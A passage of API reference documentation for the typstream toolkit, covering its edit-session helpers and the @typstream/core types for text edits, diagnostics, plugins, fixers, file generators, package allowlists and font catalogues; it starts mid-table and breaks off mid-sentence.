| `text`           | `string`                                        | The document with the answer's edits so far: `<Typstream source>`.                                                                                  |
| `streamingRange` | `Range \| null`                                 | The block being written, if one is: `<Typstream streamingRange>`.                                                                                   |
| `streaming`      | `boolean`                                       | Whether the block in `streamingRange` is still being written: `<Typstream isStreaming>`.                                                            |
| `message`        | `string`                                        | The answer's text outside its edits, for the teacher.                                                                                               |
| `edits`          | `readonly EditResult[]`                         | One result per edit of the answer, in its order.                                                                                                    |
| `phase`          | `"kept" \| "review" \| "streaming" \| "undone"` | `streaming` while the answer arrives; `review` once it has ended (show Keep / Undo); `kept` or `undone` after EditSession.keep or EditSession.undo. |

### EditResult

One edit of an answer, as the session applied it.

| Prop     | Type                     | Description                                                                                                                                                                                       |
| -------- | ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `status` | `EditStatus`             | `quoting`, `writing`, `applied`, `failed` or `undone`.                                                                                                                                            |
| `error?` | `EditError \| undefined` | Why it failed, with `status: "failed"`.                                                                                                                                                           |
| `quote`  | `string`                 | The quote, as the model wrote it.                                                                                                                                                                 |
| `range`  | `Range \| null`          | Where it is in the session's current text: while quoting, the text the quote matches so far (when it matches one place); while writing and once applied, the new text. `null` when there is none. |
| `loose`  | `boolean`                | Whether the quote matched only with whitespace evened out.                                                                                                                                        |

`EditStatus` is `quoting`, `writing`, `applied`, `failed` or `undone`. `EditError` says why an edit failed:
`not-found` (its quote matches no place), `ambiguous` (several), `overlap` (it touches what an earlier edit of the
answer changed), `conflict` (the teacher edited that text meanwhile), `malformed` or `incomplete` (the answer ended
first).

### editPrompt

```ts
function editPrompt(): string;
const editPromptRules: readonly string[];
function editRequest(document: string, request: string): string;
function selectionRequest(document: string, range: Range, instruction: string): string;
```

`editPrompt()` is the edit format and its rules (`editPromptRules`), with an example, for the end of a system prompt
that already teaches the document's Typst, such as `buildSystemPrompt(plugins)`. `editRequest` is the user turn: the
document as it is now, then the request. `selectionRequest` is a selection edit's user turn: the document with the part
to rewrite marked, and the instruction; the model answers with that part's new text only. All `@beta`: the rules
change only with a new measured run.

### editFeedback

```ts
function editFeedback(edits: readonly EditResult[]): string | null;
```

What to tell the model about the edits that failed, and why, to send as the next request so it writes them again.
`null` when every edit applied. `@beta`.

### parseEdits

```ts
function parseEdits(answer: string, final?: boolean): ParsedAnswer;
```

Reads an answer as `<edit>`s and a message, as far as it has arrived: call it again with more, and the edits only
grow. A tag cut at the end (`</ne`) is held back until `final`. Lenient where models drift: a code fence around a quote
or new text, a missing `</edit>`. The session calls it; you need it only to read answers yourself.

### EditOp

One `<edit>` of a model's answer, as far as it has arrived.

| Prop         | Type                   | Description                                                                 |
| ------------ | ---------------------- | --------------------------------------------------------------------------- |
| `quote`      | `string`               | The quoted text the edit replaces (`<old>`), so far.                        |
| `quoteDone`  | `boolean`              | Whether the quote is complete (`</old>` arrived).                           |
| `text`       | `string`               | The text that replaces it (`<new>`), so far.                                |
| `done`       | `boolean`              | Whether the new text is complete (`</new>` arrived).                        |
| `malformed?` | `boolean \| undefined` | Set when the edit isn't written as `<edit><old>…</old><new>…</new></edit>`. |

### ParsedAnswer

A model's answer read as edits: parseEdits's result.

| Prop      | Type       | Description                                                                |
| --------- | ---------- | -------------------------------------------------------------------------- |
| `edits`   | `EditOp[]` | The edits, in the order the model wrote them.                              |
| `message` | `string`   | The text outside the tags, for the teacher: trimmed, blank runs collapsed. |

### findQuote

```ts
function findQuote(text: string, quote: string): QuoteMatch;
```

Where `quote` occurs in `text`: exactly, or else with every whitespace run matching any other. The quote's own leading
and trailing whitespace is ignored. At most two ranges come back: one is a match, two an ambiguous quote.

### QuoteMatch

Where a quote matches a text: findQuote's result.

| Prop     | Type      | Description                                                                               |
| -------- | --------- | ----------------------------------------------------------------------------------------- |
| `ranges` | `Range[]` | The matched ranges, at most two (two say the quote is ambiguous).                         |
| `exact`  | `boolean` | Whether they match exactly; `false` when only whitespace-insensitive matching found them. |

### blockRange

```ts
function blockRange(text: string, range: Range): Range;
function blockStarts(text: string): number[];
```

`blockRange` widens a range to the top-level blocks it touches, from the first one's start to the end of the last one's
text, without the blank line after it: what a selection edit rewrites. `blockStarts` (from `@typstream/heal`, `@beta`)
is where each top-level block starts.


# @typstream/core

> The contracts every typstream package shares, with text edits and position mapping, diagnostics, the plugin contract, telemetry events and the engine protocol.

Source: https://typstream.vercel.app/docs/reference/core

`@typstream/core` holds the types and small pure helpers the other packages agree on: text edits and source maps,
the `Diagnostic` shape, the plugin contract (`TypstreamPlugin`), the telemetry events, and the protocol between the
engine client and its worker. It has no dependencies and runs anywhere. All offsets are **UTF-16 code unit indices**
(JavaScript string indices).

## When to use it

You rarely install it on its own: the packages you use re-export the types you need (the event types come with
`typstream` and `@typstream/react`). Import from it directly when you write a [plugin](/docs/guides/writing-a-plugin)
(`definePlugin`, `DiagnosticFixer`, `HealHandler`), handle diagnostics (`formatDiagnostic`, `mapDiagnostic`), or
implement an engine transport or server ([remote engine](/docs/guides/remote-engine): the protocol types and
`serializeMessage`).

## Install

```npm
npm install @typstream/core
```

## Example

A plugin is a plain object; `definePlugin` type-checks it and keeps its literal type:

```ts title="acme-plugin.ts"
import { definePlugin } from "@typstream/core";

export const acme = definePlugin({
  key: "acme/branding",
  engine: {
    preamble: '#set text(font: "Libertinus Serif", size: 11pt)',
  },
  templates: [
    { name: "letter", title: "Letter", preamble: '#set page(paper: "us-letter")', inputs: { logo: "true" } },
  ],
  prompt: { rules: ["Start every document with a level-1 heading."] },
  stylesheets: [".typstream h1 { color: #0b5394; }"],
});
```

Pass it in `plugins` to `<Typstream>`, `mountTypstream` or `engine.open()`. [Writing a plugin](/docs/guides/writing-a-plugin)
covers every facet.

## API

The exports fall into six groups:

| Group | Main exports |
| --- | --- |
| [Text edits and positions](#text-edits-and-positions) | `TextEdit`, `applyEdit`, `mapPosition`, `diffEdit`, `SourceMap`, `Patch`, `Range` |
| [Diagnostics](#diagnostics) | `Diagnostic`, `formatDiagnostic`, `mapDiagnostic`, `normalizeDiagnostics`, `lineColumn` |
| [Plugins](#plugins) | `TypstreamPlugin`, `definePlugin`, `resolvePlugins`, `HealHandler`, `DiagnosticFixer`, `FileGenerator`, `TemplateSpec` |
| [Telemetry events](#telemetry-events) | `DocumentEvent`, `CompiledEvent`, `RenderedEvent`, `FallbackEvent`, `WatchdogEvent`, `FallbackLevel` |
| [Protocol](#protocol) | `PROTOCOL_VERSION`, `RequestMap`, `CompileParams`, `CompileResult`, `Artifact`, `ProtocolError` |
| [Serialization](#serialization) | `serializeMessage`, `deserializeMessage` |

## Text edits and positions

Streaming is one kind of edit: the engine, the healer and (later) the editor all describe changes as `TextEdit`s and
map positions through them.

### `TextEdit`, `Range` and `EditOrigin`

```ts
interface Range {
  from: number;
  to: number;
}

type EditOrigin = "stream" | "user" | "ai" | "remote";

interface TextEdit {
  from: number;
  to: number;
  insert: string;
  origin?: EditOrigin;
}
```

A `Range` is half-open, `[from, to)`. A `TextEdit` replaces `[from, to)` with `insert`; an append is
`from = to = length`. `origin` says who made the edit.

### `applyEdit`

```ts
const applyEdit: (text: string, edit: TextEdit) => string;
```

Applies one edit to a string.

### `diffEdit`

```ts
const diffEdit: (prev: string, next: string) => TextEdit | null;
```

The smallest single edit that turns `prev` into `next` (common prefix and suffix), or `null` when they are equal. It
never splits a surrogate pair.

### `mapPosition`

```ts
const mapPosition: (pos: number, edit: TextEdit, assoc?: 1 | -1) => number;
```

Maps a position through an edit, for example a cursor or a diagnostic's offset to the next revision. Positions inside
the replaced range move to the end of the insertion when `assoc` is `1` (default), or to its start when `-1`.

```ts
mapPosition(10, { from: 0, to: 0, insert: "Hi " }); // 13
```

### `SourceMap` and `Patch`

```ts
class SourceMap {
  constructor(patches: readonly Patch[]);
  readonly patches: readonly Patch[];
  toResult(pos: number): number;
  toOriginal(pos: number, assoc?: 1 | -1): number;
}
```

Bidirectional position mapping between an input and the output of a transform (such as healing), built from
non-overlapping patches sorted by `original.from`.

- `toResult(pos)` maps an input position to the output. Positions inside deleted text map to the deletion point.
- `toOriginal(pos, assoc)` maps an output position to the input. Positions inside inserted text map to the insertion
  point. At a deletion, `assoc` `1` (default) maps past the deleted text, `-1` before it.

A `Patch` is one change a transform made: `original` is its range in the input, `result` its range in the output.
Deletions have an empty `result`, pure insertions an empty `original`.

### Patch

One change a transform made to a text. `original` is the range in the input,
`result` the range in the output; deletions have an empty `result`, pure
insertions an empty `original`.

| Prop       | Type     | Description                                                                                |
| ---------- | -------- | ------------------------------------------------------------------------------------------ |
| `original` | `Range`  | The changed range in the transform's input.                                                |
| `result`   | `Range`  | The range it became in the transform's output.                                             |
| `reason`   | `string` | Machine-readable cause, e.g. `"close:]"`, `"cut:incomplete-statement"`, `"lint:email-at"`. |

### `PositionMapper`

```ts
type PositionMapper = (pos: number, assoc: 1 | -1) => number;
```

Maps a position, as `SourceMap.toOriginal`, heal's `map.toInput` and `mapPosition` (curried over an edit) all do.
`assoc` says which side to stick to at a change: `1` after it, `-1` before it. `mapDiagnostic` takes one.

## Diagnostics

Problems from the compiler, the healer and the fixers all come in one shape, so nothing downstream parses
compiler-specific strings.

### `Diagnostic`

Positions are UTF-16 offsets into the document text. The engine converts Typst's UTF-8 byte spans at the wasm
boundary and undoes its own worker-side patches before reporting; the client then maps them to the raw stream through
heal's source map. `EngineDocument` states and `onDiagnostics` give you diagnostics already in input coordinates.

### Diagnostic

A problem with a document, from the compiler, the healer or a fixer.

All positions are UTF-16 offsets into the text the client sent for the
document (`document/open` + `document/edit`). Engines convert from Typst's
UTF-8 byte spans at the wasm boundary and undo their own worker-side patches
(Layer 3 fixers, injected anchors) before reporting. The client maps them on
to the raw stream through heal's source map (mapDiagnostic).

| Prop       | Type                                                  | Description                                                                                                                                                                                                                                                                                            |
| ---------- | ----------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `severity` | `DiagnosticSeverity`                                  | How serious the problem is (see DiagnosticSeverity).                                                                                                                                                                                                                                                   |
| `span`     | `Range \| null`                                       | Where the problem is in the document text. When it originated in another file (preamble, package), this is the closest call site in the document (from the trace) and Diagnostic.file holds the original location. `null` when Typst attached no position the document contains (e.g. a missing font). |
| `message`  | `string`                                              | What is wrong, as one line of text (hints are in Diagnostic.hints).                                                                                                                                                                                                                                    |
| `hints`    | `string[]`                                            | Suggestions, one per entry (Typst's `hint:` lines, never folded into `message`).                                                                                                                                                                                                                       |
| `trace`    | `TraceItem[]`                                         | Call chain, innermost first. Empty when there is none.                                                                                                                                                                                                                                                 |
| `file?`    | `{ path: string; span: Range \| null; } \| undefined` | Original location when the problem is in a file other than the document.                                                                                                                                                                                                                               |
| `source?`  | `string \| undefined`                                 | Who reported it: `"typst"`, `"heal"`, a fixer name, …                                                                                                                                                                                                                                                  |
| `code?`    | `string \| undefined`                                 | Machine-readable kind when the source has one, e.g. a lint rule id. Typst has none.                                                                                                                                                                                                                    |

#### `DiagnosticSeverity`

```ts
type DiagnosticSeverity = "error" | "warning" | "info";
```

Typst itself reports only `error` and `warning`. `info` is for reports from typstream, such as an error a fixer fixed
while streaming.

#### `TraceItem`

One step of the call chain that led to a diagnostic, as Typst reports it ("error occurred in this call of function
`table`").

### TraceItem

One step of the call chain that led to a diagnostic, outermost last, as Typst
reports it ("error occurred in this call of function `table`").

| Prop      | Type            | Description                                                                              |
| --------- | --------------- | ---------------------------------------------------------------------------------------- |
| `message` | `string`        | Typst's description of the step, e.g. "error occurred in this call of function `table`". |
| `span`    | `Range \| null` | Where the step happened in the document text (UTF-16), or `null` if outside it.          |

### `formatDiagnostic`

```ts
const formatDiagnostic: (d: Diagnostic, text?: string) => string;
```

Plain text for logs and test failures: `error 3:5: unclosed delimiter`, followed by indented `hint:` lines. Pass the
document text to get one-based `line:column` instead of offsets.

### `lineColumn`

```ts
const lineColumn: (text: string, offset: number) => { line: number; column: number };
```

Zero-based line and UTF-16 column of `offset` in `text`. Lines end at `\n`.

### `mapDiagnostic`

```ts
const mapDiagnostic: (d: Diagnostic, map: PositionMapper) => Diagnostic;
```

Maps a diagnostic's document positions (`span` and trace spans; not `file`, which is in another file). Use it to carry
diagnostics from healed source to the raw stream, or across edits to a later revision. Range starts stick right and
ends stick left, so text inserted exactly at a boundary doesn't widen the range.

```ts
mapDiagnostic(d, (pos, assoc) => healed.map.toInput(pos, assoc));
mapDiagnostic(d, (pos, assoc) => mapPosition(pos, edit, assoc));
```

### `compareDiagnostics` and `normalizeDiagnostics`

```ts
const compareDiagnostics: (a: Diagnostic, b: Diagnostic) => number;
const normalizeDiagnostics: (ds: readonly Diagnostic[]) => Diagnostic[];
```

`compareDiagnostics` orders by position (diagnostics without a span last), then severity, then message: a total
order, so sorted lists compare equal across runs. `normalizeDiagnostics` sorts with it and drops repeats (same
severity, span, message, hints and file); Typst reports an error once per evaluation of a repeated call.

### `isError` and `hasErrors`

```ts
const isError: (d: Diagnostic) => boolean;
const hasErrors: (ds: readonly Diagnostic[]) => boolean;
```

Whether a diagnostic is an error, and whether a list has one.

## Plugins

One plugin contract for the whole toolkit. A plugin is a plain object with a key and optional facets; each package
reads only the facets it understands, so new facets never break old plugins. `@typstream/edu`,
`@typstream/html-compat` and `@typstream/universe` are plugins.

### `TypstreamPlugin`

Everything except `heal.handlers` and islands' `parse` is plain data. The `engine` facet is sent to the worker, which can't receive
functions, so worker-side code is referenced by module URL (`fixerModules`, `generatorModules`).

### TypstreamPlugin

A typstream plugin: a key plus any of the facets below. `@typstream/edu` is
one; so are a school's branded templates or a chemistry pack.

Everything except `heal.handlers` and islands' `parse` is plain data. The engine facet is
especially restricted because it is sent to the worker, which can't receive
functions: worker-side code is referenced by module URL (`fixerModules`).

| Prop            | Type                                                                                                                                                                                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                     |
| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `key`           | `string`                                                                                                                                                                                                                    | Unique, namespaced for third parties: `"edu"`, `"acme/chemistry"`.                                                                                                                                                                                                                                                                                                                                              |
| `version?`      | `string \| undefined`                                                                                                                                                                                                       | The plugin's version, e.g. its Typst package's. Informational: nothing in typstream reads it.                                                                                                                                                                                                                                                                                                                   |
| `dependencies?` | `string[] \| undefined`                                                                                                                                                                                                     | Keys of plugins that must be loaded too, before this one.                                                                                                                                                                                                                                                                                                                                                       |
| `heal?`         | `{ handlers?: HealHandler[]; lint?: Record<string, LintSetting \| boolean>; } \| undefined`                                                                                                                                 | Language (`@typstream/heal`).                                                                                                                                                                                                                                                                                                                                                                                   |
| `engine?`       | `{ fixerModules?: string[]; generatorModules?: string[]; files?: Record<string, string \| Uint8Array>; packages?: PackageSpec[]; fonts?: FontSource[]; fontCatalogues?: FontCatalogue[]; preamble?: string; } \| undefined` | Runtime (`@typstream/engine`, worker side).                                                                                                                                                                                                                                                                                                                                                                     |
| `templates?`    | `TemplateSpec[] \| undefined`                                                                                                                                                                                               | Content.                                                                                                                                                                                                                                                                                                                                                                                                        |
| `prompt?`       | `{ catalogue?: FunctionDoc[]; rules?: string[]; examples?: PromptExample[]; } \| undefined`                                                                                                                                 | Prompt kit: what the model is told about this plugin's Typst API.                                                                                                                                                                                                                                                                                                                                               |
| `islands?`      | `Record<string, IslandSpec<unknown>> \| undefined`                                                                                                                                                                          | Rendering. Islands by name.                                                                                                                                                                                                                                                                                                                                                                                     |
| `sanitize?`     | `{ allowTags?: string[]; allowAttrs?: Record<string, string[]>; allowClasses?: string[]; } \| undefined`                                                                                                                    | Extra tags, attributes (by tag, `"*"` for every HTML element) and classes the sanitizer lets through. Event handlers and loading attributes stay blocked, `"*"` can't allow `href` or `src`, and SVG and MathML keep their own lists. The HTML renderer drops every other class, so a document can't take on the page's own (#69): list the ones this plugin's Typst writes, by name or as a prefix (`"ts-*"`). |
| `stylesheets?`  | `string[] \| undefined`                                                                                                                                                                                                     | CSS for the HTML this plugin's Typst writes, added to the HTML renderer and to standalone HTML exports, after earlier plugins' and before the app's own.                                                                                                                                                                                                                                                        |
| `editor?`       | `EditorFacet \| undefined`                                                                                                                                                                                                  | Editor (future).                                                                                                                                                                                                                                                                                                                                                                                                |

| Facet | Read by | What it holds |
| --- | --- | --- |
| `heal` | `@typstream/heal` | Heal handlers, and overrides of built-in lint rules by id (`{ "currency-dollar": "fix" }`). |
| `engine` | `@typstream/engine` | Fixer and file generator (beta) module URLs, files (such as a local Typst package), allowed packages and fonts (beta), and a preamble. |
| `templates` | `mountTypstream` (`template` option) | Named document setups: a preamble and default `sys.inputs`. |
| `prompt` | Prompt builders (`@typstream/edu`'s `buildSystemPrompt`) | A function catalogue, rules and few-shot examples for the model. |
| `sanitize` | The HTML renderer | Extra tags, attributes (by tag, `"*"` for every HTML element) and classes to let through. |
| `stylesheets` | The HTML renderer, `standaloneHtml` | CSS for the HTML this plugin's Typst writes. |
| `islands` | The HTML renderer, `@typstream/react` | Render islands by name (beta): which island markers mount, and `parse`, which checks their data. See [Writing an island](/docs/guides/islands). |
| `editor` | Nothing yet | Reserved (beta) for the visual editor. |

A plugin's `engine.fonts` load only from `createEngine`'s `plugins`, since fonts belong to the worker; their other
facets apply to the documents that list them.

### `definePlugin`

```ts
const definePlugin: <P extends TypstreamPlugin>(plugin: P) => P;
```

Identity function that type-checks a plugin while keeping its literal type.

### `resolvePlugins`

```ts
const resolvePlugins: <P extends TypstreamPlugin>(plugins: readonly P[]) => P[];
```

The plugins to load, in the order their facets apply: each key once, and every plugin after the plugins it depends
on. The engine calls it when a document opens (`EngineDocument.plugins` is the result).

- A key given more than once is loaded once, as its last definition, at the place of its first (a provider's plugin
  overridden by a component's).
- Otherwise plugins keep the order they were given in; a dependency given later moves up to just before the first
  plugin that needs it.
- A dependency that isn't among `plugins`, a cycle of dependencies, or a plugin without a key throws.

### `HealHandler`

The extension point of `@typstream/heal`: product-specific fixes, run alongside the built-in lint rules (phase
`settled`, on text whose parse can no longer change) or on the final healed source (phase `output`). Returned edits
are against `ctx.text`, non-overlapping, inside `[ctx.from, ctx.to)`.

### HealHandler

Extension point of `@typstream/heal` (PLAN §8.1): product-specific fixes,
run alongside the built-in lint rules (`settled`, on text whose parse can no
longer change) or on the final healed source (`output`). Returned edits are
against `ctx.text`, non-overlapping, inside `[ctx.from, ctx.to)`.

| Prop        | Type                                      | Description                                                                                                                             |
| ----------- | ----------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- |
| `name`      | `string`                                  | Identifies the handler. A `settled` handler's edits are reported as lint findings with this as their rule (patch reason `lint:<name>`). |
| `priority?` | `number \| undefined`                     | Lower runs first; the default is 100. The built-in lint rules run before every handler.                                                 |
| `phase`     | `"output" \| "settled"`                   | When it runs: `settled` on newly settled normalized text, like the lint rules; `output` on the whole healed source, after tail repair.  |
| `run`       | `(ctx: HealHandlerContext) => TextEdit[]` | The handler's edits to `ctx.text` (see above), or `[]` when it has none.                                                                |

#### `HealHandlerContext`

### HealHandlerContext

What a HealHandler sees.

| Prop     | Type                          | Description                                                                         |
| -------- | ----------------------------- | ----------------------------------------------------------------------------------- |
| `text`   | `string`                      | Normalized text (`settled`) or healed source (`output`).                            |
| `from`   | `number`                      | Range the handler may change (`settled`: newly settled text; `output`: everything). |
| `to`     | `number`                      | End of that range (exclusive).                                                      |
| `final`  | `boolean`                     | The document is complete (no tail repair runs).                                     |
| `modeAt` | `(pos: number) => SyntaxMode` | Lexical mode at a position (`settled` only; `output` handlers get `markup`).        |

#### `SyntaxMode`

```ts
type SyntaxMode = "markup" | "math" | "code" | "raw" | "comment";
```

Typst's lexical modes, plus the inside of raw blocks and comments, which handlers almost always need to leave alone.

#### `LintSetting`

```ts
type LintSetting = "fix" | "warn" | "off";
```

`fix` applies a lint rule's change, `warn` only reports it.

### `DiagnosticFixer`

Turns a compile error into edits that should make it go away; the worker applies them and recompiles, at most twice
per revision. For each error, fixers are tried in priority order and the first that returns edits fixes it. A round is
applied only when every error has a fix. Fixers run in the worker, so plugins ship them as ES modules
(`engine.fixerModules`) whose default export is a fixer or an array of them. Fixed compiles import typstream's runtime
library as `typstream`, so fixes can insert placeholders such as `#typstream.pending-ref("key");`.

### DiagnosticFixer

Layer 3 of healing (PLAN §5.5, §8.2): turns a compile error into edits that
should make it go away; the worker applies them and recompiles, at most twice
per revision. For each error, fixers are tried in priority order and the
first that returns edits fixes it. A round is applied only when every error
has a fix, since one left over fails the recompile anyway. Fixers run in the
worker, so plugins ship them as ES modules (`engine.fixerModules`) whose
default export is a fixer or an array of them.

Fixed compiles import typstream's runtime library as `typstream`
(`/@typstream/runtime.typ`), so fixes can insert placeholders such as
`#typstream.pending-ref("key");`.

| Prop        | Type                                                                                    | Description                                                                                                                                                                               |
| ----------- | --------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `name`      | `string`                                                                                | Unique. Reported as the `source` of the errors it fixed while streaming.                                                                                                                  |
| `priority?` | `number \| undefined`                                                                   | Lower runs first. Default 50; the built-in `pending-ref` runs at 10 and the catch-all `tail-cut` at 100.                                                                                  |
| `modes?`    | `readonly CompileMode[] \| undefined`                                                   | Compiles it runs in. Default: both.                                                                                                                                                       |
| `match?`    | `RegExp \| ((d: Diagnostic) => boolean) \| undefined`                                   | Errors it is tried on: a test of the message, or of the whole diagnostic. Default: every error.                                                                                           |
| `fix`       | `(d: Diagnostic, ctx: FixContext) => TextEdit[] \| null \| Promise<TextEdit[] \| null>` | Edits to `ctx.text` (non-overlapping, ascending) that should make `d` go away, or `null` when it can't fix it. May be async, e.g. to fetch a font or a package; the compile waits for it. |

```ts title="acme-fixers.js"
export default {
  name: "acme/old-macro",
  match: /^unknown variable: oldbox$/,
  fix: (d, { text }) => [{ from: d.span.from, to: d.span.to, insert: "box" }],
};
```

#### `FixContext`

### FixContext

What a DiagnosticFixer sees.

| Prop          | Type                    | Description                                                                                                                                                                                                         |
| ------------- | ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `text`        | `string`                | The document text that was compiled, without its preamble: the client's text in the first round, with earlier rounds' fixes after that.                                                                             |
| `settled`     | `number`                | Text before this offset is settled: streaming more can't change it. Fixes that drop or rewrite text still being typed belong after it. It is the end of the text in final compiles, and when the client didn't say. |
| `settledFrom` | `number`                | Text from this offset on is settled too: what is being typed is `[settled, settledFrom)`, a range streaming into the middle of the document (an edit). The end of the text otherwise. Fixes belong before it.       |
| `mode`        | `CompileMode`           | The compile's mode: fixers can stay out of final compiles with DiagnosticFixer.modes.                                                                                                                               |
| `round`       | `number`                | 0 for the client's text; 1 and 2 for recompiles after fixes.                                                                                                                                                        |
| `errors`      | `readonly Diagnostic[]` | Every error of the compile, the one being fixed included.                                                                                                                                                           |

### `FileGenerator`

Beta. Files a plugin makes from a document's source in the worker, before every compile and export: what Typst can't
compute itself, such as a diagram drawn by a JavaScript library (`@typstream/mermaid`'s), for the plugin's Typst to
read. Plugins ship them as ES modules (`engine.generatorModules`) whose default export is a generator or an array of
them; each document gets its own `DocumentFileGenerator` from `open()`. The worker writes only the files that changed
since the last run and removes those no longer returned, so returning the same files costs Typst nothing. A server
facing untrusted clients imports none of theirs (`ServerOptions.clientFixers: false`) but can run its own
(`ServerOptions.generators`).

### FileGenerator

Files a plugin makes from a document's source in the worker, before every
compile and export (PLAN §8.2): what Typst can't compute itself, such as a
diagram drawn by a JavaScript library, for the plugin's Typst to read. Like
fixers, generators run in the worker, so plugins ship them as ES modules
(`engine.generatorModules`) whose default export is a generator or an array
of them. A server facing untrusted clients imports none of theirs.

| Prop   | Type                          | Description                                                                      |
| ------ | ----------------------------- | -------------------------------------------------------------------------------- |
| `name` | `string`                      | Unique. Names it in the worker's logs.                                           |
| `open` | `() => DocumentFileGenerator` | A generator for one document, which may keep what it made for the next revision. |

#### `DocumentFileGenerator`

### DocumentFileGenerator

A FileGenerator's work for one document.

| Prop     | Type                                                                                                                   | Description                                                                                                                                                                                                                                                                                                                                                                                         |
| -------- | ---------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `files`  | `(source: string, ctx: { mode: CompileMode; }) => Record<string, FileContent> \| Promise<Record<string, FileContent>>` | Every file it provides for `source` (the document's preamble and text), keyed by path as in `document/setFiles`. The worker writes what changed since the last call and removes what is no longer listed, so a generator can return the same value again cheaply: it runs before every compile, once per streamed token. May be async (to load a library the first time); the compile waits for it. |
| `close?` | `(() => void) \| undefined`                                                                                            | The document closed.                                                                                                                                                                                                                                                                                                                                                                                |

```ts title="acme-generator.js"
export default {
  name: "acme/word-count",
  open: () => ({
    // Runs before every compile, once per streamed token: keep it fast.
    files: (source) => ({ "acme/count.typ": `#let words = ${source.split(/\s+/).length}` }),
  }),
};
```

### `TemplateSpec`

A named document setup: page, fonts, header. Select one with the `template` option.

### TemplateSpec

A named document setup: page, fonts, header (PLAN §8.3).

| Prop           | Type                                  | Description                                                        |
| -------------- | ------------------------------------- | ------------------------------------------------------------------ |
| `name`         | `string`                              | Unique among templates, e.g. `"worksheet"`.                        |
| `title?`       | `string \| undefined`                 | Human-readable name, e.g. for a template picker: `"Worksheet"`.    |
| `description?` | `string \| undefined`                 | One line on what the template sets up, e.g. for a template picker. |
| `preamble`     | `string`                              | Typst evaluated before the document.                               |
| `inputs?`      | `Record<string, string> \| undefined` | Default `sys.inputs` the template understands.                     |

### `FunctionDoc` and `PromptExample`

What a plugin's `prompt` facet holds: the catalogue of its Typst functions (generated from doc comments, for
`@typstream/edu`) and few-shot examples. See [Prompting](/docs/guides/prompting).

### FunctionDoc

One Typst function in the prompt catalogue, generated from the package's doc comments.

| Prop          | Type                  | Description                                                            |
| ------------- | --------------------- | ---------------------------------------------------------------------- |
| `name`        | `string`              | The function's name as documents call it, e.g. `question`.             |
| `signature`   | `string`              | E.g. `question(points: int, body: content) -> content`.                |
| `description` | `string`              | What the function does and how to call it: its doc comment's prose.    |
| `example?`    | `string \| undefined` | Typst that calls the function, from the doc comment's `example` block. |

### PromptExample

A few-shot example for the system prompt.

| Prop       | Type                  | Description                                                               |
| ---------- | --------------------- | ------------------------------------------------------------------------- |
| `title?`   | `string \| undefined` | A label for the example (edu uses its file name). Not part of the prompt. |
| `request?` | `string \| undefined` | What the user asked for.                                                  |
| `output`   | `string`              | The Typst the model should write.                                         |

### `PackageSpec`, `FontSource` and font catalogues (beta)

<Callout type="warn" title="Beta">
`PackageSpec`, `FontSource`, the font catalogue types, `IslandSpec` and `EditorFacet` are beta and may change before
the first stable release.
</Callout>

A `PackageSpec` is an entry of the engine's package allowlist (`#import "@preview/cetz:0.5.3"`). The engine fetches it
only when a document imports it. Without `url`, the server resolves it from its configured registry, if it has one.

### PackageSpec

A Typst package the engine may load (`#import "@preview/cetz:0.5.3"`): an
entry of its allowlist (PLAN §6.4). The engine fetches it only when a
document imports it. A document asking for another version of an allowed
package gets the nearest allowed one, with a warning. Without `url`, the
server resolves it from its configured registry, if it has one.
`@typstream/universe` lists the packages typstream vendors.

| Prop         | Type                             | Description                                                                                                                                                                                                                                                          |
| ------------ | -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `namespace`  | `string`                         | `preview` for Typst Universe packages.                                                                                                                                                                                                                               |
| `name`       | `string`                         | The package's name, e.g. `cetz`.                                                                                                                                                                                                                                     |
| `version`    | `string`                         | `major.minor.patch`.                                                                                                                                                                                                                                                 |
| `url?`       | `string \| undefined`            | Where to fetch the `.tar.gz` from, as packages.typst.org serves it.                                                                                                                                                                                                  |
| `integrity?` | `string \| undefined`            | Subresource-integrity hash (`sha256-…`, `sha384-…` or `sha512-…`), checked before use: of the `.tar.gz` as fetched, or of the `.tar` inside it. Prefer the tar's: servers often send `.gz` files with `Content-Encoding: gzip`, and browsers then hand over the tar. |
| `imports?`   | `readonly string[] \| undefined` | The packages its sources import (`@preview/oxifmt:1.0.0`), requested with it rather than found once it is unpacked, so they download at the same time. Optional: the engine finds them anyway.                                                                       |

A `FontSource` is a font for the engine: a URL the worker fetches, or the bytes. A URL with `info` is a lazy font,
registered from `info` and downloaded only when a document uses it. See
[Fonts and languages](/docs/guides/fonts-and-languages).

```ts
type FontSource = ({ kind: "url"; url: string } | { kind: "bytes"; data: Uint8Array }) & {
  family?: string;
  scripts?: string[]; // ISO 15924 codes the font is for, e.g. ["Beng"]
  info?: string; // the engine's metadata for the file's faces
};
```

A `FontCatalogue` (`{ index, maxBytes? }`, a plugin's `engine.fontCatalogues`) is an index of fonts the engine loads
by family, only when a document names one it doesn't have; `@typstream/google-fonts` is one. The index is a
`FontCatalogueIndex` served as JSON: its `families`, keyed by name lowercased, are `FontCatalogueFamily` entries
(`{ name, files }`), each file a `FontCatalogueFile` (`{ path, style, weight, bytes? }`, TTF or OTF). A family the
engine loaded is announced as a `LoadedFontFamily`, with the files' absolute URLs, so the HTML renderer can show it
with the same files. See [A catalogue of your own](/docs/guides/fonts-and-languages#a-catalogue-of-your-own).

### FontCatalogueIndex

The index of a FontCatalogue, served as JSON.

| Prop       | Type                                  | Description                                                               |
| ---------- | ------------------------------------- | ------------------------------------------------------------------------- |
| `version`  | `1`                                   | The format's version.                                                     |
| `base`     | `string`                              | The URL files' paths are relative to; itself relative to the index's URL. |
| `families` | `Record<string, FontCatalogueFamily>` | By family name lowercased, which is how Typst compares family names.      |

### LoadedFontFamily

A family the engine loaded from a font catalogue: what the HTML target needs
